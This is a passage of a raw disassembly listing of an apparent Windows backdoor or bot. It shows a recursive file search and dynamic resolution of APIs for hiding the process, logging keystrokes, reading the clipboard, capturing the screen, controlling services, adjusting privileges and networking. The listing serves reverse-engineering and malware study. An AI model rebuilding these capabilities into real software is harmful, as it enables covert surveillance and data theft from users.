		push	64h
		push	eax
		call	sub_41713C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408724
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086A9
		push	[ebp+var_8]
		jmp	short loc_40867C
; ---------------------------------------------------------------------------


loc_4086A9:				; CODE XREF: sub_4085D3+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_417080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086E8
		lea	eax, [ebp+var_70]
		push	offset asc_429098 ; "="
		push	eax
		call	sub_416C98
		push	offset asc_429098 ; "="
		push	ebx
		call	sub_416C98
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E7
		add	esp, 20h
		jmp	short loc_4086FF
; ---------------------------------------------------------------------------


loc_4086E8:				; CODE XREF: sub_4085D3+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E7
		add	esp, 10h


loc_4086FF:				; CODE XREF: sub_4085D3+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B16D
		add	esp, 18h


loc_408724:				; CODE XREF: sub_4085D3+B9j
		push	[ebp+var_8]
		call	sub_415B40
		pop	ecx
		jmp	short loc_40876B
; ---------------------------------------------------------------------------


loc_40872F:				; CODE XREF: sub_4085D3+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B16D
		add	esp, 28h


loc_40876B:				; CODE XREF: sub_4085D3+60j
					; sub_4085D3+A2j ...
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408603
		pop	edi
		pop	esi


loc_408785:				; CODE XREF: sub_4085D3+19j
		pop	ebx
		leave
		retn
sub_4085D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408788	proc near		; DATA XREF: sub_40CE55+3C21o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CF0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_4087DD
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CF0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_4087DD:				; CODE XREF: sub_408788+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_4290F0
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408822
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D4C
		add	esp, 14h


loc_408822:				; CODE XREF: sub_408788+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_4088A0
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_4290BC
		push	eax
		call	sub_4154E7
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408880
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D4C
		add	esp, 14h


loc_408880:				; CODE XREF: sub_408788+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_408788	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088A0	proc near		; CODE XREF: sub_408788+B9p
					; sub_4088A0+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_415A6A
		mov	edi, dword_4210A8
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_40895D


loc_4088EC:				; CODE XREF: sub_4088A0+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408949
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408910
		cmp	[ebp+var_117], 0
		jz	short loc_408949
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408949


loc_408910:				; CODE XREF: sub_4088A0+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A6A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4088A0
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408949:				; CODE XREF: sub_4088A0+53j
					; sub_4088A0+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_4088EC


loc_40895D:				; CODE XREF: sub_4088A0+4Aj
		push	[ebp+var_4]
		call	dword_421098	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4089E3


loc_408994:				; CODE XREF: sub_4088A0+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_415A6A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_408994


loc_4089E3:				; CODE XREF: sub_4088A0+F2j
		push	esi
		call	dword_421098	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4088A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4089F2	proc near		; CODE XREF: sub_40C682+55p
		push	ebx
		push	ebp
		mov	ebp, dword_4210C8
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4210C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408B12
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43A444, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43A3B8, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43A39C, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43A2B8, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43A264, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43A294, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43A308, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43A3F8, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43A454, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43A2C4, eax
		call	esi	; GetProcAddress
		cmp	dword_43A444, ebx
		mov	dword_43A2AC, eax
		jz	short loc_408AF0
		cmp	dword_43A3B8, ebx
		jz	short loc_408AF0
		cmp	dword_43A39C, ebx
		jz	short loc_408AF0
		cmp	dword_43A2B8, ebx
		jz	short loc_408AF0
		cmp	dword_43A294, ebx
		jz	short loc_408AF0
		cmp	dword_43A308, ebx
		jz	short loc_408AF0
		cmp	dword_43A3F8, ebx
		jz	short loc_408AF0
		cmp	dword_43A454, ebx
		jz	short loc_408AF0
		cmp	dword_43A2C4, ebx
		jz	short loc_408AF0
		cmp	eax, ebx
		jnz	short loc_408AFA


loc_408AF0:				; CODE XREF: sub_4089F2+B8j
					; sub_4089F2+C0j ...
		mov	dword_43A458, 1


loc_408AFA:				; CODE XREF: sub_4089F2+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43A3D0, eax
		jz	short loc_408B27
		push	1
		push	ebx
		call	eax
		jmp	short loc_408B27
; ---------------------------------------------------------------------------


loc_408B12:				; CODE XREF: sub_4089F2+1Dj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A45C, eax
		mov	dword_43A458, 1


loc_408B27:				; CODE XREF: sub_4089F2+117j
					; sub_4089F2+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408C3C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43A3F4, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43A3A4, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43A338, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43A448, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43A368, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43A388, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43A3EC, eax
		call	esi	; GetProcAddress
		cmp	dword_43A3F4, ebx
		mov	dword_43A2E0, eax
		jz	short loc_408BE0
		cmp	dword_43A3A4, ebx
		jz	short loc_408BE0
		cmp	dword_43A338, ebx
		jz	short loc_408BE0
		cmp	dword_43A448, ebx
		jz	short loc_408BE0
		cmp	dword_43A368, ebx
		jz	short loc_408BE0
		cmp	dword_43A388, ebx
		jz	short loc_408BE0
		cmp	dword_43A3EC, ebx
		jz	short loc_408BE0
		cmp	eax, ebx
		jnz	short loc_408BEA


loc_408BE0:				; CODE XREF: sub_4089F2+1B8j
					; sub_4089F2+1C0j ...
		mov	dword_43A460, 1


loc_408BEA:				; CODE XREF: sub_4089F2+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43A364, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43A278, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43A334, eax
		call	esi	; GetProcAddress
		cmp	dword_43A364, ebx
		mov	dword_43A320, eax
		jz	short loc_408C47
		cmp	dword_43A278, ebx
		jz	short loc_408C47
		cmp	dword_43A334, ebx
		jz	short loc_408C47
		cmp	eax, ebx
		jnz	short loc_408C51
		jmp	short loc_408C47
; ---------------------------------------------------------------------------


loc_408C3C:				; CODE XREF: sub_4089F2+144j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A464, eax


loc_408C47:				; CODE XREF: sub_4089F2+232j
					; sub_4089F2+23Aj ...
		mov	dword_43A460, 1


loc_408C51:				; CODE XREF: sub_4089F2+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408DEC
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43A408, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43A34C, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43A3BC, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43A2A4, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43A304, eax
		call	esi	; GetProcAddress
		cmp	dword_43A408, ebx
		mov	dword_43A374, eax
		jz	short loc_408CDC
		cmp	dword_43A34C, ebx
		jz	short loc_408CDC
		cmp	dword_43A3BC, ebx
		jz	short loc_408CDC
		cmp	dword_43A2A4, ebx
		jz	short loc_408CDC
		cmp	dword_43A304, ebx
		jz	short loc_408CDC
		cmp	eax, ebx
		jnz	short loc_408CE6


loc_408CDC:				; CODE XREF: sub_4089F2+2C4j
					; sub_4089F2+2CCj ...
		mov	dword_43A468, 1


loc_408CE6:				; CODE XREF: sub_4089F2+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43A37C, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43A354, eax
		call	esi	; GetProcAddress
		cmp	dword_43A37C, ebx
		mov	dword_43A404, eax
		jz	short loc_408D21
		cmp	dword_43A354, ebx
		jz	short loc_408D21
		cmp	eax, ebx
		jnz	short loc_408D2B


loc_408D21:				; CODE XREF: sub_4089F2+321j
					; sub_4089F2+329j
		mov	dword_43A468, 1


loc_408D2B:				; CODE XREF: sub_4089F2+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43A38C, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43A280, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43A288, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43A2E8, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43A2EC, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43A29C, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43A358, eax
		call	esi	; GetProcAddress
		cmp	dword_43A38C, ebx
		mov	dword_43A28C, eax
		jz	short loc_408DCF
		cmp	dword_43A280, ebx
		jz	short loc_408DCF
		cmp	dword_43A288, ebx
		jz	short loc_408DCF
		cmp	dword_43A2E8, ebx
		jz	short loc_408DCF
		cmp	dword_43A2EC, ebx
		jz	short loc_408DCF
		cmp	dword_43A29C, ebx
		jz	short loc_408DCF
		cmp	dword_43A358, ebx
		jz	short loc_408DCF
		cmp	eax, ebx
		jnz	short loc_408DD9


loc_408DCF:				; CODE XREF: sub_4089F2+3A7j
					; sub_4089F2+3AFj ...
		mov	dword_43A468, 1


loc_408DD9:				; CODE XREF: sub_4089F2+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43A284, eax
		jnz	short loc_408E01
		jmp	short loc_408DF7
; ---------------------------------------------------------------------------


loc_408DEC:				; CODE XREF: sub_4089F2+26Aj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A46C, eax


loc_408DF7:				; CODE XREF: sub_4089F2+3F8j
		mov	dword_43A468, 1


loc_408E01:				; CODE XREF: sub_4089F2+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408ECD
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43A384, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43A3DC, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43A3E4, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43A3A0, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43A2C8, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43A274, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43A3E0, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43A260, eax
		call	esi	; GetProcAddress
		cmp	dword_43A384, ebx
		mov	dword_43A2FC, eax
		jz	short loc_408ED8
		cmp	dword_43A3DC, ebx
		jz	short loc_408ED8
		cmp	dword_43A3E4, ebx
		jz	short loc_408ED8
		cmp	dword_43A3A0, ebx
		jz	short loc_408ED8
		cmp	dword_43A2C8, ebx
		jz	short loc_408ED8
		cmp	dword_43A274, ebx
		jz	short loc_408ED8
		cmp	dword_43A3E0, ebx
		jz	short loc_408ED8
		cmp	dword_43A260, ebx
		jz	short loc_408ED8
		cmp	eax, ebx
		jnz	short loc_408EE2
		jmp	short loc_408ED8
; ---------------------------------------------------------------------------


loc_408ECD:				; CODE XREF: sub_4089F2+41Aj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A474, eax


loc_408ED8:				; CODE XREF: sub_4089F2+49Bj
					; sub_4089F2+4A3j ...
		mov	dword_43A470, 1


loc_408EE2:				; CODE XREF: sub_4089F2+4D7j
		mov	ebp, dword_4210C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40919E
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43A310, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43A43C, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43A2B4, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43A290, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43A344, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43A32C, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43A2F8, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43A418, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43A434, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43A340, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43A424, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43A3D8, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43A398, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43A394, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43A2D4, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_43A2CC, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43A3E8, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43A3FC, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43A3B0, eax
		call	esi	; GetProcAddress
		mov	dword_43A370, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43A3C4, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43A380, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43A3C0, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43A42C, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43A378, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43A33C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43A3AC, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43A41C, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43A350, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43A2F4, eax
		call	esi	; GetProcAddress
		cmp	dword_43A310, ebx
		mov	dword_43A430, eax
		jz	loc_4091A9
		cmp	dword_43A43C, ebx
		jz	loc_4091A9
		cmp	dword_43A2B4, ebx
		jz	loc_4091A9
		cmp	dword_43A344, ebx
		jz	loc_4091A9
		cmp	dword_43A32C, ebx
		jz	loc_4091A9
		cmp	dword_43A2F8, ebx
		jz	loc_4091A9
		cmp	dword_43A418, ebx
		jz	loc_4091A9
		cmp	dword_43A434, ebx
		jz	loc_4091A9
		cmp	dword_43A340, ebx
		jz	loc_4091A9
		cmp	dword_43A424, ebx
		jz	loc_4091A9
		cmp	dword_43A3D8, ebx
		jz	loc_4091A9
		cmp	dword_43A398, ebx
		jz	loc_4091A9
		cmp	dword_43A394, ebx
		jz	loc_4091A9
		cmp	dword_43A2D4, ebx
		jz	short loc_4091A9
		cmp	dword_43A3E8, ebx
		jz	short loc_4091A9
		cmp	dword_43A3FC, ebx
		jz	short loc_4091A9
		cmp	dword_43A3B0, ebx
		jz	short loc_4091A9
		cmp	dword_43A370, ebx
		jz	short loc_4091A9
		cmp	dword_43A3C4, ebx
		jz	short loc_4091A9
		cmp	dword_43A380, ebx
		jz	short loc_4091A9
		cmp	dword_43A3C0, ebx
		jz	short loc_4091A9
		cmp	dword_43A42C, ebx
		jz	short loc_4091A9
		cmp	dword_43A378, ebx
		jz	short loc_4091A9
		cmp	dword_43A33C, ebx
		jz	short loc_4091A9
		cmp	dword_43A3AC, ebx
		jz	short loc_4091A9
		cmp	dword_43A41C, ebx
		jz	short loc_4091A9
		cmp	dword_43A350, ebx
		jz	short loc_4091A9
		cmp	eax, ebx
		jnz	short loc_4091B3
		jmp	short loc_4091A9
; ---------------------------------------------------------------------------


loc_40919E:				; CODE XREF: sub_4089F2+501j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A47C, eax


loc_4091A9:				; CODE XREF: sub_4089F2+6A0j
					; sub_4089F2+6ACj ...
		mov	dword_43A478, 1


loc_4091B3:				; CODE XREF: sub_4089F2+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4092B8
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43A2DC, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43A268, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43A360, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43A314, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43A36C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43A330, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43A2A8, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43A2A0, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43A2B0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A2DC, ebx
		mov	ecx, dword_43A330
		mov	dword_43A3CC, eax
		jz	short loc_409294
		cmp	dword_43A268, ebx
		jz	short loc_409294
		cmp	dword_43A360, ebx
		jz	short loc_409294
		cmp	dword_43A314, ebx
		jz	short loc_409294
		cmp	dword_43A36C, ebx
		jz	short loc_409294
		cmp	ecx, ebx
		jz	short loc_409294
		cmp	dword_43A2A8, ebx
		jz	short loc_409294
		cmp	dword_43A2A0, ebx
		jz	short loc_409294
		cmp	dword_43A2B0, ebx
		jz	short loc_409294
		cmp	eax, ebx
		jnz	short loc_40929E


loc_409294:				; CODE XREF: sub_4089F2+860j
					; sub_4089F2+868j ...
		mov	dword_43A480, 1


loc_40929E:				; CODE XREF: sub_4089F2+8A0j
		cmp	ecx, ebx
		jz	short loc_4092D3
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_43A348, eax
		jnz	short loc_4092D3
		jmp	short loc_4092CD
; ---------------------------------------------------------------------------


loc_4092B8:				; CODE XREF: sub_4089F2+7CCj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43A484, eax
		mov	dword_43A480, 1


loc_4092CD:				; CODE XREF: sub_4089F2+8C4j
		mov	dword_43A348, ebx


loc_4092D3:				; CODE XREF: sub_4089F2+8AEj
					; sub_4089F2+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40931D
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43A324, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43A450, eax
		call	esi	; GetProcAddress
